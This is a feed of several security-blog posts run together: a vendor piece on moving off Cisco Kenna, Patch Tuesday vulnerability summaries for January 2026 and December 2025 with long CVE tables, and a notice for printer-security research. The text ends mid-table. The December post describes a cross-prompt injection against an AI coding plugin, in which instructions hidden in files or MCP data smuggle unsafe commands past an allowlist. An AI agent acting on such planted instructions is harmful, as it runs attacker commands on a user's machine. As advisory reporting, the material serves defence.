Most organizations are not abandoning vulnerability management. They are expanding it:

  • From on-prem to hybrid and cloud

  • From isolated findings to broader attack surface context 

  • From vulnerability lists to exposure-driven decisions 

  • From static to continuous

The mistake is assuming this evolution requires a hard reset, or that exposure management is completely separate and not part of that evolution.  

For CISOs and hands-on leaders alike, the smarter question is: how do we preserve what works today, while building toward what we know we’ll need tomorrow?

What Kenna customers should prioritize next 

As you evaluate what comes after Kenna, the right decision comes down to which platform can consistently deliver security outcomes and measurable risk reduction: 

Continuity without disruption

Your team already understands risk-based prioritization. The next platform should strengthen that muscle, not force you back to severity-only thinking or one-dimensional scoring models that ignore business context and threat intelligence. 

See risk clearly across on-prem, cloud, and external environments

Risk doesn’t live exclusively on-prem or in the cloud. Vulnerability data needs to reflect the reality of modern environments – endpoints, cloud workloads, external-facing assets – without fragmenting visibility. It needs to build on what teams already have by supporting findings from a broad range of existing tools and services, so risk can be understood in one place instead of scattered across platforms. 

Customizable remediation workflows

Prioritization only matters if it leads to action. Look for platforms that help security and IT teams collaborate, track ownership, and measure progress without creating more friction. 

A credible path forward

Exposure management is valuable only when it’s grounded in accurate data, operational context, and day-to-day usability. Security teams are already drowning in findings across tools, and without context that explains what matters and why, exposure management adds more noise instead of helping teams make decisions and reduce risk. That noise shows up in familiar ways: duplicate findings aren’t reconciled, conflicting risk scores between tools, unclear ownership for remediation, and long lists of issues with no clear path to action.

Why this moment favors steady platforms, not big bets

Kenna’s exit creates pressure, but pressure shouldn’t drive risky or forced decisions. Security leaders are accountable not just for vision, but for outcomes, such as: 

  • Are we reducing real risk this quarter? 

  • Can we explain prioritization decisions to the board? 

  • Will this platform still support us two or three years from now? 

This is where vendor stability, roadmap clarity, and operational proof start to matter more than bold claims. 

The strongest next steps are coming from platforms that already deliver visibility across hybrid environments, mature, threat-informed vulnerability prioritization, and integrated remediation workflows that teams actually use. From there, exposure management becomes an evolution, not a leap of faith. 

A measured path forward

Kenna’s EOL doesn’t signal the end of risk-based vulnerability management. It signals that security programs are ready to expect more from it. For security leaders this is an opportunity to reaffirm what has worked in your program, close real visibility and workflow gaps, and choose a platform that supports both near-term continuity and long-term growth.

The goal isn’t to chase the next trend. It’s to make a confident, practical decision – one that protects today’s outcomes while positioning your team for what’s next. 

Looking ahead

If you’re navigating what comes after Cisco Kenna, the most important step is understanding your options early, before timelines force rushed decisions. Explore what a confident transition can look like and how teams are approaching continuity today while preparing for exposure management tomorrow. 

Explore a confident path forward.

Patch Tuesday – January 2026

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-january-2026

Microsoft is publishing 114 vulnerabilities this January 2026 Patch Tuesday. Today’s menu includes just one vulnerability marked as exploited in the wild, as well as two vulnerabilities where Microsoft is aware of public disclosure. There are no critical remote code execution or elevation of privilege vulnerabilities. So far this month, Microsoft has already provided patches to address one browser vulnerability and around a dozen vulnerabilities in open source products, which are not included in the Patch Tuesday count above.

Windows DWM: exploited-in-the-wild information disclosure

The Windows Desktop Windows Manager (DWM) is a high value target for vulnerability researchers and threat actors, and CVE-2026-20805 is the latest in an occasional series of exploited-in-the-wild zero-day vulnerabilities to have emerged from it. DWM is responsible for drawing everything on the display of a Windows system, which means it offers an enticing combination of privileged access and universal availability, since just about any process might need to display something. In this case, exploitation leads to improper disclosure of an ALPC port section address, which is a section of user mode memory where Windows components coordinate various actions between themselves.

The CVSS v3 score of 5.5 evaluates to medium severity, which wouldn’t typically scream “patch me first”, but Microsoft evaluates CVE-2026-20805 as important on their proprietary severity scale, and information disclosure vulnerabilities by their very nature tend to end up with lower CVSS scores, since there’s no direct impact on integrity or availability. Also, Microsoft information disclosure vulnerabilities very rarely end up marked as exploited in the wild; any that do are very likely to be part of a longer exploit chain. In this case, it’s likely that the improperly disclosed memory address gives an attacker a starting point in the hunt for the in-memory address of the DWM process, sidestepping Address Space Layout Randomization (ASLR), and greatly increasing the chance of developing a stable elevation of privilege exploit for DWM rather than a flakey blue screen of death generator.

Windows Agere modem driver: publicly disclosed elevation of privilege

Back in October 2025, Microsoft removed a specific modem driver ltmdm64.sys from all versions of Windows, after it was implicated in CVE-2025-24052, an exploited-in-the-wild elevation of privilege vulnerability. Today sees another couple of modem drivers removed from Windows for a broadly similar reason: Microsoft is aware of functional exploit code for an elevation of privilege vulnerability in a very similar modem driver, tracked as CVE-2023-31096. That’s not a typo; this vulnerability was originally published via MITRE over two years ago, along with a credible public writeup by the original researcher. Today’s Windows patches remove agrsm64.sys and agrsm.sys. All three modem drivers were originally developed by the same now-defunct third party, and have been included in Windows for decades. These driver removals will pass unnoticed for most people, but you might find active modems still in a few contexts, including some industrial control systems.

Two questions remain: how many more legacy modem drivers are still present on a fully-patched Windows asset, and how many more elevation-to-SYSTEM vulnerabilities will emerge from them before Microsoft cuts off attackers who have been enjoying living off the land[line] by exploiting an entire class of dusty old device drivers? Although Microsoft doesn’t claim evidence of exploitation for CVE-2023-31096, the relevant 2023 write-up and the 2025 removal of the other Agere modem driver have provided two strong signals for anyone looking for Windows exploits in the meantime. In case you were wondering, there is no need to have a modem connected; the mere presence of the driver is enough to render an asset vulnerable.

Secure Boot: critical security feature bypass

Today sees the publication of CVE-2026-21265, which is a critical security feature bypass vulnerability affecting Windows Secure Boot. Fifteen years is a very long time indeed in information security, but the clock is running out on the Microsoft root certificates which have been signing essentially everything in the Secure Boot ecosystem since the days of Stuxnet. Microsoft issued replacement certificates back in 2023, alongside CVE-2023-24932 which covered relevant Windows patches as well as subsequent steps to remediate the Secure Boot bypass exploited by the BlackLotus bootkit.

Once the ancient 2011 certificates expire later this year, Windows devices that do not have the new 2023 certificates can no longer receive Secure Boot security fixes. When updating the bootloader and BIOS, it is essential to prepare fully ahead of time for the specific OS and BIOS combination you’re working with, since incorrect remediation steps can lead to an unbootable system.

Microsoft lifecycle update

Visual Studio 2022 LTSC 17.10 reaches end of support today, so now is a good time to upgrade to a newer minor version. Dynamics CRM 2016 (also known as Dynamics 365) also reaches end of life. There are no other significant Microsoft product lifecycle changes this month.

A bar chart showing vulnerability count by component for Microsoft Patch Tuesday 2026-Jan
A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2026-Jan
A bar chart showing distribution of impact type by component for Microsoft Patch Tuesday 2026-Jan

Vulnerabilities by Product Family

Azure vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21224

Azure Connected Machine Agent Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-21226

Azure Core shared client library for Python Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-20965

Windows Admin Center Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.5

Developer Tools vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-21219

Inbox COM Objects (Global Memory) Remote Code Execution Vulnerability

Exploitation Unlikely

No

7.0

ESU vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-20805

Desktop Window Manager Information Disclosure Vulnerability

Exploitation Detected

No

5.5

CVE-2026-20847

Microsoft Windows File Explorer Spoofing Vulnerability

Exploitation Unlikely

No

6.5

CVE-2023-31096

MITRE: CVE-2023-31096 Windows Agere Soft Modem Driver Elevation of Privilege Vulnerability

Exploitation More Likely

Yes

7.8

CVE-2026-20925

NTLM Hash Disclosure Spoofing Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-20872

NTLM Hash Disclosure Spoofing Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-20821

Remote Procedure Call Information Disclosure Vulnerability

Exploitation Unlikely

No

6.2

CVE-2026-21265

Secure Boot Certificate Expiration Security Feature Bypass Vulnerability

Exploitation Less Likely

Yes

6.4

CVE-2026-20831

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20860

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20839

Windows Client-Side Caching (CSC) Service Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20940

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20820

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-0386

Windows Deployment Services Remote Code Execution Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20929

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20816

Windows Installer Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20849

Windows Kerberos Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20833

Windows Kerberos Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20809

Windows Kernel Memory Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20875

Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-20869

Windows Local Session Manager (LSM) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2024-55414

Windows Motorola Soft Modem Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20936

Windows NDIS Information Disclosure Vulnerability

Exploitation Unlikely

No

4.3

CVE-2026-20840

Windows NTFS Remote Code Execution Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20922

Windows NTFS Remote Code Execution Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20824

Windows Remote Assistance Security Feature Bypass Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20828

Windows rndismp6.sys Information Disclosure Vulnerability

Exploitation Less Likely

No

4.6

CVE-2026-20843

Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20868

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

CVE-2026-20856

Windows Server Update Service (WSUS) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.1

CVE-2026-20927

Windows SMB Server Denial of Service Vulnerability

Exploitation Unlikely

No

5.3

CVE-2026-20919

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20921

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20926

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20934

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20848

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20834

Windows Spoofing Vulnerability

Exploitation Less Likely

No

4.6

CVE-2026-20931

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

8.0

Microsoft Office vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-20946

Microsoft Excel Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20955

Microsoft Excel Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20956

Microsoft Excel Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20950

Microsoft Excel Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20957

Microsoft Excel Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20949

Microsoft Excel Security Feature Bypass Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20943

Microsoft Office Click-To-Run Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20953

Microsoft Office Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.4

CVE-2026-20952

Microsoft Office Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.4

CVE-2026-20958

Microsoft SharePoint Information Disclosure Vulnerability

Exploitation Less Likely

No

5.4

CVE-2026-20963

Microsoft SharePoint Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

CVE-2026-20951

Microsoft SharePoint Server Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20947

Microsoft SharePoint Server Remote Code Execution Vulnerability

Exploitation Unlikely

No

8.8

CVE-2026-20959

Microsoft SharePoint Server Spoofing Vulnerability

Exploitation Less Likely

No

4.6

CVE-2026-20944

Microsoft Word Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.4

CVE-2026-20948

Microsoft Word Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

SQL Server vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-20803

Microsoft SQL Server Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.2

Windows vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score

CVE-2026-20815

Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20830

Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0

CVE-2026-21221

Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0

CVE-2026-20835

Capability Access Management Service (camsvc) Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20851

Capability Access Management Service (camsvc) Information Disclosure Vulnerability

Exploitation Less Likely

No

6.2

CVE-2026-20805

Desktop Window Manager Information Disclosure Vulnerability

Exploitation Detected

No

5.5

CVE-2026-20871

Desktop Windows Manager Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20814

DirectX Graphics Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20836

DirectX Graphics Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20962

Dynamic Root of Trust for Measurement (DRTM) Information Disclosure Vulnerability

Exploitation Less Likely

No

4.4

CVE-2026-20941

Host Process for Windows Tasks Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20812

LDAP Tampering Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-20842

Microsoft DWM Core Library Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20847

Microsoft Windows File Explorer Spoofing Vulnerability

Exploitation Unlikely

No

6.5

CVE-2023-31096

MITRE: CVE-2023-31096 Windows Agere Soft Modem Driver Elevation of Privilege Vulnerability

Exploitation More Likely

Yes

7.8

CVE-2026-20925

NTLM Hash Disclosure Spoofing Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-20872

NTLM Hash Disclosure Spoofing Vulnerability

Exploitation Less Likely

No

6.5

CVE-2026-20821

Remote Procedure Call Information Disclosure Vulnerability

Exploitation Unlikely

No

6.2

CVE-2026-21265

Secure Boot Certificate Expiration Security Feature Bypass Vulnerability

Exploitation Less Likely

Yes

6.4

CVE-2026-20826

Tablet Windows User Interface (TWINUI) Subsystem Information Disclosure Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20827

Tablet Windows User Interface (TWINUI) Subsystem Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20829

TPM Trustlet Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20811

Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20920

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20863

Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20810

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20831

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20860

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20839

Windows Client-Side Caching (CSC) Service Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20844

Windows Clipboard Server Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.4

CVE-2026-20857

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20940

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20820

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20864

Windows Connected Devices Platform Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-0386

Windows Deployment Services Remote Code Execution Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20817

Windows Error Reporting Service Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20808

Windows File Explorer Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20823

Windows File Explorer Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20932

Windows File Explorer Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20937

Windows File Explorer Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20939

Windows File Explorer Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20822

Windows Graphics Component Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20804

Windows Hello Tampering Vulnerability

Exploitation Unlikely

No

7.7

CVE-2026-20852

Windows Hello Tampering Vulnerability

Exploitation Less Likely

No

7.7

CVE-2026-20929

Windows HTTP.sys Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20825

Windows Hyper-V Information Disclosure Vulnerability

Exploitation Less Likely

No

4.4

CVE-2026-20816

Windows Installer Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20849

Windows Kerberos Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20833

Windows Kerberos Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20818

Windows Kernel Information Disclosure Vulnerability

Exploitation Unlikely

No

6.2

CVE-2026-20838

Windows Kernel Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20809

Windows Kernel Memory Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20859

Windows Kernel-Mode Driver Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20875

Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-20854

Windows Local Security Authority Subsystem Service (LSASS) Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.5

CVE-2026-20869

Windows Local Session Manager (LSM) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0

CVE-2026-20858

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20865

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20877

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20918

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20923

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20924

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20861

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20866

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20867

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20873

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20874

Windows Management Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20862

Windows Management Services Information Disclosure Vulnerability

Exploitation Unlikely

No

5.5

CVE-2026-20837

Windows Media Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8

CVE-2024-55414

Windows Motorola Soft Modem Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8

CVE-2026-20936

Windows NDIS Information Disclosure Vulnerability

Exploitation Unlikely

No

4.3

CVE-2026-20840

Windows NTFS Remote Code Execution Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20922

Windows NTFS Remote Code Execution Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20824

Windows Remote Assistance Security Feature Bypass Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20832

Windows Remote Procedure Call Interface Definition Language (IDL) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20828

Windows rndismp6.sys Information Disclosure Vulnerability

Exploitation Less Likely

No

4.6

CVE-2026-20843

Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

CVE-2026-20868

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

CVE-2026-20856

Windows Server Update Service (WSUS) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.1

CVE-2026-20927

Windows SMB Server Denial of Service Vulnerability

Exploitation Unlikely

No

5.3

CVE-2026-20919

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20921

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20926

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20934

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20848

Windows SMB Server Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.5

CVE-2026-20834

Windows Spoofing Vulnerability

Exploitation Less Likely

No

4.6

CVE-2026-20931

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

8.0

CVE-2026-20876

Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7

CVE-2026-20938

Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

CVE-2026-20819

Windows Virtualization-Based Security (VBS) Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5

CVE-2026-20935

Windows Virtualization-Based Security (VBS) Information Disclosure Vulnerability

Exploitation Less Likely

No

6.2

CVE-2026-20853

Windows WalletService Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.4

CVE-2026-20870

Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8

New Research: Multifunction Printer (MFP) Security Concerns within the Enterprise Business Environment

Post Syndicated from Deral Heiland original https://www.rapid7.com/blog/post/new-research-multifunction-printer-mfp-security-concerns-within-the-enterprise-business-environment

Multifunction printers (MFPs) do far more than print. They scan, email, fax, store, and authenticate. That convenience comes with risk. Our latest report, Understanding Multifunction Printer (MFP) Security within the Enterprise Business Environment, from Rapid7’s Deral Heiland, Principal Security Researcher (IoT), and Sam Moses, Security Consultant, takes a clear look at where MFPs expand your attack surface and how to reduce that risk.

Why this research matters

MFPs are everywhere, often overlooked, and frequently underprotected. Many organizations deploy them without password changes, patch cycles, or network segmentation. Attackers notice. Because MFPs are attached to networks and can carry sensitive data, compromise can enable credential theft, data leakage, and lateral movement within the network.

The report tracks how long-standing and emerging weaknesses continue to affect MFP security. It highlights common risk areas such as weak authentication and limited patching practices, among others, that leave devices open to misuse or compromise. As these printers have grown more connected and feature-rich, the potential impact of a single vulnerable device has increased, especially when linked to core business systems or identity services.

The study also examines broader exposure trends across the enterprise landscape. Thousands of MFPs remain directly accessible from the internet, and vulnerability data shows that many models have faced serious flaws in recent years. Beyond technical issues, organizational processes like inconsistent patch management and poor decommissioning practices often allow sensitive data and credentials to linger on devices long after their use.

Penetration testing data collected by Rapid7 and Raxis confirms that these risks are not theoretical. Many organizations still deploy MFPs with default settings, leaving them open to credential theft and data access that can help attackers move deeper into the network.

The report introduces Praeda-II, a community tool designed for pentesters, auditors, and IT teams who need fast visibility into vulnerable printers, to identify risks in MFPs across modern models.

See the research

If your organization relies on networked printers, this research offers the insights you need. Read Understanding Multifunction Printer (MFP) Security within the Enterprise Business Environment to learn about key risks and practical steps to strengthen your printer security program.

Patch Tuesday – December 2025

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-december-2025

Microsoft is publishing a relatively light 54 new vulnerabilities this December 2025 Patch Tuesday, which is significantly lower than we have come to expect over the past couple of years. Today’s list includes two publicly disclosed remote code vulnerabilities, and a single exploited-in-the-wild vulnerability. Three critical remote code execution (RCE) vulnerabilities are also patched today; Microsoft currently assesses those as less likely or even unlikely to see exploitation. During December, Microsoft has already patched 14 browser vulnerabilities and more than 80 vulnerabilities in open source products, which are not included in the Patch Tuesday count above.

Windows Cloud Files minifilter: zero-day EoP

Microsoft has evidence that attackers are already making full use of CVE-2025-62221, a zero-day local elevation of privilege (EoP) vulnerability in the Windows Cloud Files Mini Filter Driver leading to SYSTEM privileges. File system filter drivers, aka minifilters, attach to the system software stack, and intercept requests targeted at a file system, and extend or replace the functionality provided by the original target. Typical use cases include data encryption, automated backup, on-the-fly compression, and cloud storage.

The Cloud Files minifilter is used by OneDrive, Google Drive, iCloud, and others, although as a core Windows component, it would still be present on a system where none of those apps were installed. Microsoft ranks CVE-2025-62221 as important rather than critical, since an attacker would need to have an existing foothold on the target system, but since it’s already exploited in the wild and leads to SYSTEM privileges, all but the most optimistic blue team threat models will surely treat CVE-2025-62221 as a top priority for remediation.

PowerShell: zero-day RCE

Under normal circumstances, PowerShell does a decent job of looking out for the unwary end user, and will wait for confirmation or even outright block unexpected attempts to run code from the internet that isn’t signed by a trusted publisher. Windows Mark-of-the-Web (MotW) functionality tracks files that were downloaded from the internet, but CVE-2025-54100 is a zero-day vulnerability which allows attackers to sidestep security controls that rely on MotW by the simple expedient of relying on code execution before the file is ever written. Microsoft is aware of public disclosure.

The Windows security updates published today address CVE-2025-54100 by altering the default functionality of Invoke-WebRequest in PowerShell 5.1 so that it will prompt the user, instead of simply executing potentially malicious code as it processes the full Document Object Model of the requested remote resource. Scripts that rely on the impacted functionality may hang indefinitely when encountering the new prompt, unless updated to pass the -UseBasicParsing parameter to Invoke-WebRequest, since this explicitly avoids the potential for script execution. PowerShell 7 avoids all of this by moving beyond dependency on the legacy MSHTML/Trident engine, which used to power Internet Explorer. However, PowerShell 5.1 is what’s installed by default with a fresh Windows installation, even for Server 2025 and Windows 11 25H2, because Microsoft has a hard time telling enterprise customers that continuing support for legacy business applications comes with an ever-increasing security cost.

Copilot: zero-day

The GitHub Copilot for Jetbrains plugin promises users that they can take control of their code using Copilot Edit Mode. Unfortunately, an attacker exploiting CVE-2025-64671 will be aiming to do something very similar. Microsoft is aware of public disclosure. In this scenario, cross-prompt injection, where an attacker hides malicious instructions inside a malicious file or within MCP server data, can lead to arbitrary command execution, where unsafe commands sneak past security boundaries while appended to safe, allowlisted commands. This issue is by no means specific to Copilot or Jetbrains; as the original researcher points out, this is an example of an entire class of vulnerabilities, where the addition of agentic AI to an IDE extends and alters the attack surface. Other well-known IDE vendors have assigned CVEs and/or published patches for broadly similar issues.

Office: two critical no-click RCEs

Microsoft Office is widely deployed, and it’s a rare Patch Tuesday when it doesn’t receive at least a few security updates. Two Office RCEs are particularly noteworthy this month. The advisory FAQs for both CVE-2025-62554 and CVE-2025-62557 mention that the Preview Pane is a vector, so a user who scrolls past a malicious email in Outlook or a sketchy file in Explorer could trigger exploitation without doing anything obviously wrong. However, it gets worse, because even receiving a specially-crafted email could trigger exploitation, without any requirement that the user open, read, or click on the malicious link within it. CVE-2023-23397, a widely-discussed critical Outlook vulnerability from some two-and-a-half years ago shares these characteristics. In that case, Microsoft detected in-the-wild exploitation by a Russia-based threat actor targeting government, military, and critical infrastructure targets in Europe. While there’s no suggestion that either of the vulnerabilities patched today necessarily result in NTLM hash disclosure in the same vein as CVE-2023-23397, the potential for exploitation without the need for any user interaction is a serious concern.

Microsoft lifecycle update

There are no significant Microsoft product lifecycle changes this month. Visual Studio 2022 LTSC 17.10 will reach end of life in January.

Summary charts

A bar chart showing vulnerability count by component for Microsoft Patch Tuesday 2025-Dec
A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2025-Dec
A bar chart showing distribution of impact type by component for Microsoft Patch Tuesday 2025-Dec

Summary tables

Azure vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62550

Azure Monitor Agent Remote Code Execution Vulnerability

No

No

8.8

Browser vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62223

Microsoft Edge (Chromium-based) for Mac Spoofing Vulnerability

No

No

4.3

CVE-2025-13721

Chromium: CVE-2025-13721 Race in v8

No

No

N/A

CVE-2025-13720

Chromium: CVE-2025-13720 Bad cast in Loader

No

No

N/A

CVE-2025-13640

Chromium: CVE-2025-13640 Inappropriate implementation in Passwords

No

No

N/A

CVE-2025-13639

Chromium: CVE-2025-13639 Inappropriate implementation in WebRTC

No

No

N/A

CVE-2025-13638

Chromium: CVE-2025-13638 Use after free in Media Stream

No

No

N/A

CVE-2025-13637

Chromium: CVE-2025-13637 Inappropriate implementation in Downloads

No

No

N/A

CVE-2025-13636

Chromium: CVE-2025-13636 Inappropriate implementation in Split View

No

No

N/A

CVE-2025-13635

Chromium: CVE-2025-13635 Inappropriate implementation in Downloads

No

No

N/A

